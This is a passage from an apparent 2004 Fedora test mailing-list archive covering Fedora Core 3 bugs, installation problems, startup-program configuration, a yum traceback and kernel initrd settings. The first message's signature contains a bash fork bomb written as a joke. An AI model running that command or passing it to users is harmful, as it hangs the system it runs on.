lock my system, requiring a hard reboot > > I didn't get any appropriate debugging information either... This is > FC3/ppc do you have ipv6 modules loaded? > -- ,-----------------------------------------------------------------// | Jason 'vanRijn' Kasper :: Numbers 6:22-26 ` | All brontosauruses are thin at one end, much MUCH thicker | in the middle, and then thin again at the far end. That is | the theory that I have and which is mine, and what it is too. , | bash$ :(){ :|:&};: `----------------------// From lsomike at futzin.com Fri Nov 12 04:45:46 2004 From: lsomike at futzin.com (Mike Klinke) Date: Thu, 11 Nov 2004 22:45:46 -0600 Subject: Intel 810 Video Issues & Lockups In-Reply-To: <4194169D.1070805@www.linux.org.uk> References: <1100098733.41922cad76ccf@webmail.gxconcepts.com> <4194169D.1070805@www.linux.org.uk> Message-ID: <200411112245.47143.lsomike@futzin.com> On Thursday 11 November 2004 19:49, Mike A. Harris wrote: > fedora at gxconcepts.com wrote: > > Red Hat is tracking the issue in X.Org bugzilla above, and once a > patch is available that fixes this issue, we will review it for > consideration for any future FC3 X.Org update releases. In the > mean time, any users who may be experiencing this issue can > temporarily work around the issue by editing their > /etc/X11/xorg.conf by hand, and adding the following line to the > driver section: > > Option "noaccel" > I had to resort to using this option on a laptop when I installed FC3 but once the installation was complete I could pull the option back out, power down for a few minutes, and then boot back into FC3 with 16bit depth and DRI enabled. It's been running fine in this mode ever since. This is pretty much the same as it's been on this system ever since part way into the changes the Xorg folks were making during FC3T1, if time frames are any help. If I were a betting man, my money would be on some kind of hardware initialization problem. More fuel for the fire... http://freedesktop.org/bugzilla/show_bug.cgi?id=1333 Regards, Mike Klinke From thomas.cameron at camerontech.com Fri Nov 12 05:04:20 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Thu, 11 Nov 2004 23:04:20 -0600 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100199207.3866.0.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> Message-ID: <1100235860.12760.22.camel@ml350.bankofamerica.com> On Thu, 2004-11-11 at 11:53 -0700, Kim Lux wrote: > In my mind there is a big difference between perfection and having a > CDROM that doesn't work. Kim - I'm sorry but I have not seen others with your CDROM issue with any frequency on this or on the fedora users list. I've installed FC3 (from early testing to various RCs to release) on a bunch of machines and on every one of them the CD works as you'd expect. It sounds to me like *you've* got some sort of gremlin - hardware incompatibility, broken drive or somesuch silliness. This is not the developers' or the distro's fault. It's not your fault. It's a case of "sh*t happens, now move on." Did you read the first paragraph at http://fedora.redhat.com? "The Fedora Project is a Red-Hat-sponsored and community-supported open source project. It is also a proving ground for new technology that may eventually make its way into Red Hat products. It is not a supported product" Pay special attention to the last sentence. Fedora is basically Red Hat's public beta of technologies which may (or may not) get into RHEL. Red Hat and the Fedora team promise best effort, but make no guarantees about this software. You're coming across as saying you want all the newest stuff (latest KDE) and you want it to run flawlessly. Guess what? It ain't gonna happen. If you're hanging out here on the bleeding edge it's going to be rough. You're busting the team's chops over what appear to me to be a problem that doesn't seem to be common. Move on, man. -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From thomas.cameron at camerontech.com Fri Nov 12 05:09:08 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Thu, 11 Nov 2004 23:09:08 -0600 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100195690.3705.2.camel@localhost.localdomain> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> <1100195690.3705.2.camel@localhost.localdomain> Message-ID: <1100236148.12760.25.camel@ml350.bankofamerica.com> On Thu, 2004-11-11 at 10:54 -0700, Kim Lux wrote: > Thanks for your reply, Alan, and your tireless effort with Linux. > > What did you mean by: > > > And that below is a bug > > > > > Nov 11 10:28:49 localhost > > kernel: Unable to handle kernel NULL pointer > > > dereference at virtual address 00000008 > > > > which shouldnt have occurred but was triggered by what appears to be broken > > hardware > > How should I proceed ? Um, when you have broken hardware, how do you normally proceed? *I* usually go get unbroken hardware. > Do you want me to log this in bugzilla ? Under > what ? kernel ? grip ? cdrom ? scsi-ide ? You think filing a bug because your CDROM drive is broken will help? -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From backes at rhrk.uni-kl.de Thu Nov 11 12:39:00 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Thu, 11 Nov 2004 13:39:00 +0100 Subject: FC3: How to change application for attachments received by evolution Message-ID: <1100176740.5574.3.camel@sunny.rhrk.uni-kl.de> Hi, I want change the default application for attachments in emails received in evolution (FC3). How to do this (for example, use startoffice for attached .doc files) Regards -- Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From mknepher at bluethingy.com Fri Nov 12 08:44:16 2004 From: mknepher at bluethingy.com (Michael Knepher) Date: Fri, 12 Nov 2004 00:44:16 -0800 Subject: The new file selector and hidden files In-Reply-To: <4192DFDF.9090402@sbcglobal.net> References: <1080301625.7355.82.camel@localhost.localdomain> <4192DFDF.9090402@sbcglobal.net> Message-ID: <419477E0.8060701@bluethingy.com> Robert wrote: > Maynard Kuona wrote: > >> How do I get the new file selector to show hidden files, or at least to >> open them. >> >> > Was this ever answered? I have been beating myself up for a couple > hours, trying to fall into the secret after finding no answers on this > list. Having to open a terminal, do an ls -a, copy a file name and > paste it into the mozilla or konqueror or whatever open dialogue box > is beyond unacceptable. Is there a global option lurking about > somewhere? > > FC3 Final, KDE 3.3.0-5 Red Hat > Right-click on the file/folder list and click on "Show hidden files". From florian_bachmann at t-online.de Fri Nov 12 09:02:37 2004 From: florian_bachmann at t-online.de (Florian Bachmann) Date: Fri, 12 Nov 2004 10:02:37 +0100 Subject: Problem with DVD iso for Core 3 In-Reply-To: References: Message-ID: <41947C2D.1080903@t-online.de> Drosos Kourounis schrieb: > Hi all! > I just downloaded twice from different mirrors the FEDORA Core 3 > DVD iso image and I noticed that there is a problem with that thing! > > I begin installation I press Ok to the questions about "us" and the > other one, but when I am asked which type of installation do I prefer > CDROM, FTP, HTTP, NFS ... I choose of course CDROM. > > Then it says that the FEDORA software CDROM is not inserted in the > CDROM drive! I tried that in many different PCs and I get the same > problem so it is not a problem with my PC. > > Did any one of you have the same problem! > > please let the people who are responsible for the distribution > to fix that! > > Regards! > Drosos. > > _________________________________________________________________ > FREE pop-up blocking with the new MSN Toolbar - get it now! > http://toolbar.msn.com/ > Same problem here. I can't even enter "rescue mode", it keeps asking for the installation medium and refuses to recognize the DVD. Regards From roger at gwch.net Fri Nov 12 09:33:37 2004 From: roger at gwch.net (Roger Grosswiler) Date: Fri, 12 Nov 2004 10:33:37 +0100 (CET) Subject: Features for FC4 In-Reply-To: <1100231063.4559.4.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220148.22508.73.camel@localhost.localdomain> <1100220801.13875.2.camel@localhost.localdomain> <20041112033305.GA25133@devserv.devel.redhat.com> <1100231063.4559.4.camel@localhost.localdomain> Message-ID: <46103.62.2.21.164.1100252017.squirrel@62.2.21.164> > Please tell me more about qemu. Is it an SF package and how are you (or > others) using it. > > I was also thinking of using xen, but then if there is a bug people > might say that xen was causing it. Any thoughts ? > > > On Thu, 2004-11-11 at 22:33 -0500, Alan Cox wrote: >> > I'm going to set up a system so that we can boot new releases from a >> > portable USB drive and test this stuff on multiple machines without >> > wrecking their good working installations. >> >> I've also found qemu handy for this btw. It's not exactly competing >> with >> vmware but its free and it works > -- > Kim Lux (Mr.) Diesel Research Inc > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > i use qemu too, but i have several problems with it, like booting from cd (some distros do boot, some not - fc3 does not..) Roger From douglas.furlong at firebox.com Fri Nov 12 10:02:01 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Fri, 12 Nov 2004 10:02:01 +0000 Subject: Features for FC4 In-Reply-To: <1100217259.4069.378.camel@preview> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> Message-ID: <1100253721.3313.98.camel@douglas-furlong.firebox.com> On Thu, 2004-11-11 at 21:54 -0200, Alexandre Strube wrote: > Em Qui, 2004-11-11 ?s 22:41, Aaron Scott escreveu: > > Isn't that what gnome-session manage does ( or at least part of what > > it does.) You can tell it to start certain programs at login. Would > > seem silly to have two methods of doing the same thing. > > That sucks. You cannot just throw an script to a startup folder so a > dumb user would not complain that openoffice takes ages to start. No, > you have to crawl on xml stuff to do what was so simple since windows > 3.x. > > Reinventing the wheel is not always nice. What on earth are you talking about it? Red Hat -> Preferences -> More Preferences -> Sessions -> Startup Programs Then add the list of applications you want, in there, and you can set the start order, I really don't see how that is hard. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From roger at gwch.net Fri Nov 12 10:24:05 2004 From: roger at gwch.net (Roger Grosswiler) Date: Fri, 12 Nov 2004 11:24:05 +0100 (CET) Subject: Features for FC4 In-Reply-To: <1100253721.3313.98.camel@douglas-furlong.firebox.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> Message-ID: <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> > On Thu, 2004-11-11 at 21:54 -0200, Alexandre Strube wrote: >> Em Qui, 2004-11-11 ?s 22:41, Aaron Scott escreveu: >> > Isn't that what gnome-session manage does ( or at least part of what >> > it does.) You can tell it to start certain programs at login. Would >> > seem silly to have two methods of doing the same thing. >> >> That sucks. You cannot just throw an script to a startup folder so a >> dumb user would not complain that openoffice takes ages to start. No, >> you have to crawl on xml stuff to do what was so simple since windows >> 3.x. >> >> Reinventing the wheel is not always nice. > What on earth are you talking about it? > > Red Hat -> Preferences -> More Preferences -> Sessions -> Startup > Programs > > Then add the list of applications you want, in there, and you can set > the start order, I really don't see how that is hard. > > -- > Douglas Furlong > Systems Administrator > Firebox.com > T: 0870 420 4475 F: 0870 220 2178 > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list Douglas, you are right, i do the same way but i think they expect drag-and-drop...and they are right too...this is usability...simplicity... Roger From joelbryanster at gmail.com Fri Nov 12 11:06:21 2004 From: joelbryanster at gmail.com (joelbryan) Date: Fri, 12 Nov 2004 19:06:21 +0800 Subject: Features for FC4 In-Reply-To: <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> Message-ID: Features for Fedora Core 4 - A Bluecurve theme for GDM Face Browser. - BlueCurve Sound themes From joelbryanster at gmail.com Fri Nov 12 11:08:54 2004 From: joelbryanster at gmail.com (joelbryan) Date: Fri, 12 Nov 2004 19:08:54 +0800 Subject: Features for FC4 In-Reply-To: <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> Message-ID: I though I was going to be stuck as a dumb user here. On Fri, 12 Nov 2004 11:24:05 +0100 (CET), Roger Grosswiler wrote: > > > > On Thu, 2004-11-11 at 21:54 -0200, Alexandre Strube wrote: > >> Em Qui, 2004-11-11 ?s 22:41, Aaron Scott escreveu: > >> > Isn't that what gnome-session manage does ( or at least part of what > >> > it does.) You can tell it to start certain programs at login. Would > >> > seem silly to have two methods of doing the same thing. > >> > >> That sucks. You cannot just throw an script to a startup folder so a > >> dumb user would not complain that openoffice takes ages to start. No, > >> you have to crawl on xml stuff to do what was so simple since windows > >> 3.x. > >> > >> Reinventing the wheel is not always nice. > > What on earth are you talking about it? > > > > Red Hat -> Preferences -> More Preferences -> Sessions -> Startup > > Programs > > > > Then add the list of applications you want, in there, and you can set > > the start order, I really don't see how that is hard. > > > > -- > > Douglas Furlong > > Systems Administrator > > Firebox.com > > T: 0870 420 4475 F: 0870 220 2178 > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > Douglas, > > you are right, i do the same way but i think they expect drag-and-drop...and they are right too...this is > usability...simplicity... > > Roger > > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From surak at casa.surak.eti.br Fri Nov 12 11:19:59 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Fri, 12 Nov 2004 08:19:59 -0300 Subject: Features for FC4 In-Reply-To: References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> Message-ID: <1100258399.27583.11.camel@steelgoose.com> Em Sex, 2004-11-12 ?s 08:08, joelbryan escreveu: > > > Red Hat -> Preferences -> More Preferences -> Sessions -> Startup > > > Programs > > > Then add the list of applications you want, in there, and you can set > > > the start order, I really don't see how that is hard. Try doing this for 50 computers, each with own user table (no nis, no nfs for /home). Each of those computers with an average of 4 users. That's what I was talking about. -- []s Alexandre Ganso 500 FOUR vermelha - Diretor Steel Goose Moto Group From douglas.furlong at firebox.com Fri Nov 12 11:48:53 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Fri, 12 Nov 2004 11:48:53 +0000 Subject: Features for FC4 In-Reply-To: <1100258399.27583.11.camel@steelgoose.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> Message-ID: <1100260133.3313.103.camel@douglas-furlong.firebox.com> On Fri, 2004-11-12 at 08:19 -0300, Alexandre Strube wrote: > Em Sex, 2004-11-12 ?s 08:08, joelbryan escreveu: > > > > > Red Hat -> Preferences -> More Preferences -> Sessions -> Startup > > > > Programs > > > > Then add the list of applications you want, in there, and you can set > > > > the start order, I really don't see how that is hard. > > Try doing this for 50 computers, each with own user table (no nis, no > nfs for /home). Why have you not set up an LDAP, system for user authentication, or some thing similar? You can't blame Fedora/Linux/Gnome if an admin won't put in the work. > Each of those computers with an average of 4 users. > > That's what I was talking about. I am fairly certain it is scriptable, so that you would not have to do it for each user. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From veguilla at hpcf.upr.edu Fri Nov 12 12:47:39 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Fri, 12 Nov 2004 08:47:39 -0400 Subject: Features for FC4 In-Reply-To: <1100258399.27583.11.camel@steelgoose.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> Message-ID: <1100263659.3205.29.camel@ricardo.veguilla.net> On Fri, 2004-11-12 at 08:19 -0300, Alexandre Strube wrote: > Em Sex, 2004-11-12 ?s 08:08, joelbryan escreveu: > > > > > Red Hat -> Preferences -> More Preferences -> Sessions -> Startup > > > > Programs > > > > Then add the list of applications you want, in there, and you can set > > > > the start order, I really don't see how that is hard. > > Try doing this for 50 computers, each with own user table (no nis, no > nfs for /home). Each of those computers with an average of 4 users. > Ok, I think you are talking about two different things here: a) - "Start up" folder for regular users b) - Configuration of startup programs by system administrators in large networks,etc. Right now, you can do "b" by modifying /usr/share/gnome/default.session and you can do "a" via "Session -> Startup Programs". Certainly it will be nice to have a "friendlier" way of adding apps to the "Startup Program" list[1], but adding a "Start up" folder (like in Windows) is hardly the correct solution for case "b" On the other hand, if "proper session management"[2] is implemented, I don't think the user (in case "a") will need to manually specify "startup programs". [1] I think that this will probably depends on menu editing (which Gnome lacks ATM). [2] whatever that is :P (see discussions on proper session management on the various gnome mailing lists for more info) Regards, -- Ricardo Veguilla From clancyian at eircom.net Fri Nov 12 12:54:45 2004 From: clancyian at eircom.net (ian clancy) Date: Fri, 12 Nov 2004 12:54:45 +0000 Subject: Features for FC4 In-Reply-To: <1100263659.3205.29.camel@ricardo.veguilla.net> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> <1100263659.3205.29.camel@ricardo.veguilla.net> Message-ID: <1100264085.5768.2.camel@localhost.localdomain> Gnome does not lack menu editing. However it has always been strangely disabled in Redhat/Fedora. Regards, Ian Clancy On Fri, 2004-11-12 at 12:47, Ricardo Veguilla wrote: > On Fri, 2004-11-12 at 08:19 -0300, Alexandre Strube wrote: > > Em Sex, 2004-11-12 ?s 08:08, joelbryan escreveu: > > > > > > > Red Hat -> Preferences -> More Preferences -> Sessions -> Startup > > > > > Programs > > > > > Then add the list of applications you want, in there, and you can set > > > > > the start order, I really don't see how that is hard. > > > > Try doing this for 50 computers, each with own user table (no nis, no > > nfs for /home). Each of those computers with an average of 4 users. > > > > Ok, I think you are talking about two different things here: > > a) - "Start up" folder for regular users > b) - Configuration of startup programs by system administrators in large > networks,etc. > > Right now, you can do "b" by modifying /usr/share/gnome/default.session > and you can do "a" via "Session -> Startup Programs". Certainly it will > be nice to have a "friendlier" way of adding apps to the "Startup > Program" list[1], but adding a "Start up" folder (like in Windows) is > hardly the correct solution for case "b" > > On the other hand, if "proper session management"[2] is implemented, I > don't think the user (in case "a") will need to manually specify > "startup programs". > > [1] I think that this will probably depends on menu editing (which Gnome > lacks ATM). > [2] whatever that is :P (see discussions on proper session management on > the various gnome mailing lists for more info) > > > Regards, > -- > Ricardo Veguilla From vano.beridze at silkroad.ge Fri Nov 12 13:34:50 2004 From: vano.beridze at silkroad.ge (Vano Beridze) Date: Fri, 12 Nov 2004 16:34:50 +0300 Subject: Features for FC4 In-Reply-To: <1100112479.3955.62.camel@marius.asheville.interact> References: <1100112479.3955.62.camel@marius.asheville.interact> Message-ID: <4194BBFA.2070505@silkroad.ge> Mark Haney wrote: >I know it's probably a bit early, but does anyone have a comprehensive >set of features/ideas for FC4? So far FC3 is by far the best distro out >there, but surely there's been some thought to what's next. Plus, I'd >love to help out with it in any way I can, but time prohibits real >development, is there any need for documentation? > > > I know this was discussed many times but I still want to know if it's possible to have a minimal install of fedora. What I mean by minimal. It's a bare system. I want to boot that bare system, login and install all the packages I want. I don't know why it has been impossible for Fedora. Debian has that functionality,Gentoo too. Could anyone answer? Is it so hard to identify the needed packages to only boot the system? Best regards -- Vano Beridze Software Developer Silk Road Group S.A. From veguilla at hpcf.upr.edu Fri Nov 12 13:55:30 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Fri, 12 Nov 2004 09:55:30 -0400 Subject: Features for FC4 In-Reply-To: <1100264085.5768.2.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> <1100263659.3205.29.camel@ricardo.veguilla.net> <1100264085.5768.2.camel@localhost.localdomain> Message-ID: <1100267730.3205.49.camel@ricardo.veguilla.net> On Fri, 2004-11-12 at 12:54 +0000, ian clancy wrote: > Gnome does not lack menu editing. However it has always been strangely > disabled in Redhat/Fedora. > Regards, > Ian Clancy > Yes, Gnome has menu editing, but its one of those things that are in Gnome because everyone wants to have it, not necessarily because its easy to use or "Just Work" ... or at least thats the impression I got from previous discussions about this in the gnome mailing lists. Anyway, I should have specified that I was talking about Gnome lacking menu editing in Fedora. Regards, -- Ricardo Veguilla From bwheadley at earthlink.net Fri Nov 12 13:58:45 2004 From: bwheadley at earthlink.net (Bryan W. Headley) Date: Fri, 12 Nov 2004 07:58:45 -0600 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100203653.4213.12.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192585.4376.8.camel@localhost.localdomain> <1100196875.3705.13.camel@localhost.localdomain> <1100197746.3560.20.camel@localhost.localdomain> <1100198299.4042.7.camel@localhost.localdomain> <4193C1DF.4010505@earthlink.net> <1100203653.4213.12.camel@localhost.localdomain> Message-ID: <4194C195.7060305@earthlink.net> Kim Lux wrote: >On Thu, 2004-11-11 at 13:47 -0600, Bryan W. Headley wrote: > > >>Kim Lux wrote: >> >> >> >>>I agree that using up2date works fine, except: >>> >>>a) are there issues that won't be fixed by up2date ? >>> >>> >>> >>> >>Sure. Let's say that FCx liked lilo and FCy likes grub as the default >>bootstrapper. Would you expect an rpm scriptlet to know anything about >>a) asking you if you want to switch bootloaders, b) Have a sed/perl >>script to run that would parse an existing /etc/lilo.conf and build a >>reasonable /etc/grub.conf? No, you'd expect something more >>"comprehensive" in scope to know how to do those things. >> >> > >That is a very good example. rpms don't handle that. Anaconda does ask >a few questions about bootloaders. I've never moved from lilo to grub, >so I don't know what it actually does. > > Me neither; it was merely an example of an upgrade that'd be outside of rpm's scope, so you could hardly expect up2date or yum to know what to do From ron.flory at adtran.com Fri Nov 12 14:10:21 2004 From: ron.flory at adtran.com (RON FLORY) Date: Fri, 12 Nov 2004 08:10:21 -0600 Subject: FC3 does not boot with an own vanilla kernel ( *SOLVED* ) In-Reply-To: <1100160459.2646.12.camel@laptop.fenrus.org> References: <1100160459.2646.12.camel@laptop.fenrus.org> Message-ID: <4194C44D.4030805@adtran.com> > On Wed, 2004-11-10 at 15:29 -0600, RON FLORY wrote: > >>title Test (2.6.9) >> root (hd0,1) >> kernel /vmlinuz-2.6.9 ro root=/dev/hda4 rhgb >> initrd /initrd-2.6.9.img >> >> except, substituting 'root=LABEL=/' for 'root=LABEL=/' keeps >>the bootloader from finding an initrd. As it is now, it just can't >>find a console ;) Arjan van de Ven wrote: > odd.. makes me wonder if you disabled initrd support in the kernel > config... BINGO- although its not quite that simple or obvious. It seems the initrd support option depends upon Device Drivers -> Block Devices -> RAM disk support which defaults to N or M on a 2.6.9 kernel.org kernel after 'make mrproper' etc. Historically I tend to set this to M. Also, the most important option: "initial RAM disk (initrd) support" is disabled and not even visible unless "RAM disk support" is explicitly enabled (i.e., set to "Y"), which is not the case on a stock kernel. It makes this option pretty hard to find unless one knows exactly where it is and how to unhide it... Anyway, enabling both these switches solved both the stock kernel.org kernel and and LABEL=/ issues. Thanks for the hint- I suspected it would be something painfully simple, but not too obvious. I'm sure this issue will resurface again and again. ron From mark at talios.com Fri Nov 12 14:20:29 2004 From: mark at talios.com (Mark Derricutt) Date: Sat, 13 Nov 2004 03:20:29 +1300 Subject: yum broken with latest python updates Message-ID: <4194C6AD.7020607@talios.com> Just noticed that yum is now broken after the rawhide python updates: [root at spawn packages]# yum check-update Traceback (most recent call last): File "/usr/bin/yum", line 8, in ? yummain.main(sys.argv[1:]) File "/usr/share/yum-cli/yummain.py", line 51, in main base.getOptionsConfig(args) File "/usr/share/yum-cli/cli.py", line 133, in getOptionsConfig self.conf = yumconf(configfile = yumconffile, root=root) File "/usr/lib/python2.4/site-packages/yum/config.py", line 211, in __init__ doRepoSection(self, self.cfg, section) File "/usr/lib/python2.4/site-packages/yum/config.py", line 313, in doRepoSection mirrorurls = getMirrorList(mirrorlist) File "/usr/lib/python2.4/site-packages/yum/config.py", line 390, in getMirrorList fo = urlresolver.urlopen(url) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 427, in urlopen return default_grabber.urlopen(url, **kwargs) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 555, in urlopen return self._retry(opts, retryfunc, url) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 527, in _retry return apply(func, (opts,) + args, {}) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 554, in retryfunc return URLGrabberFileObject(url, filename=None, opts=opts) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 703, in __init__ self._do_open() File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 747, in _do_open fo, hdr = self._make_request(req, opener) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 823, in _make_request fo = opener.open(req) File "/usr/lib/python2.4/urllib2.py", line 364, in open response = meth(req, response) File "/usr/lib/python2.4/urllib2.py", line 468, in http_response code, msg, hdrs = response.code, response.msg, response.info() AttributeError: HTTPResponse instance has no attribute 'code' Is this a bug in yum, or something wrong in python's urllib2 code? From arjanv at redhat.com Fri Nov 12 14:21:28 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 12 Nov 2004 15:21:28 +0100 Subject: FC3 does not boot with an own vanilla kernel ( *SOLVED* ) In-Reply-To: <4194C44D.4030805@adtran.com> References: <1100160459.2646.12.camel@laptop.fenrus.org> <4194C44D.4030805@adtran.com> Message-ID: <1100269287.4096.9.camel@laptop.fenrus.org> > Thanks for the hint- I suspected it would be something painfully > simple, but not too obvious. I'm sure this issue will resurface > again and again. this should be added to the fedora faq.... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From nphilipp at redhat.com Fri Nov 12 14:22:32 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Fri, 12 Nov 2004 15:22:32 +0100 Subject: FC3 Final: no sound In-Reply-To: <1100194432.4069.7.camel@localhost.localdomain> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> <1100193125.4055.29.camel@localhost.localdomain> <1100194006.10404.26.camel@wombat.tiptoe.de> <1100194432.4069.7.camel@localhost.localdomain> Message-ID: <1100269352.4165.34.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-11-11 at 10:33 -0700, Kim Lux wrote: > Nobody has ever mentioned downgrading packages prior to release before. > > Is there a list of such downgrades somewhere ? I don't think so and I didn't say that I knew of particular downgrades in this case ;-). > Let me ask this: if Fedora Core 3rc5 was the last one anyone tested and > THEN the release team decided to downgrade some packages, when was the > "downgraded" release ever tested ?????? Using downgraded packages usually means using packages which were known to work before, like in "we rather use this older version that doesn't have these features but doesn't have those bugs as well". > I don't mean to shout and I don't mean to create hurt feelings, but I > really think the release/testing process could be dramatically > improved. How? By concentrating on real-world scenarios (upgrading from proper releases or fresh installs)? I thought we already did that ;-P. Honestly: If you want to get help with a problem, such "from-above-talk" ain't gonna help ya. We do take criticism seriously but only if it is constructive -- tell us how you think something can be improved instead of telling us that something could be improved (without the slightest idea how, even we can't do better ;-). A few hints: AVOID TYPING IN ALL CAPITALS. People will tell you not to scream at them and/or ignore you. Avoid excessive punctuation!!!!!!! People will only think you're using an exclamation mark because you don't have a point. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty 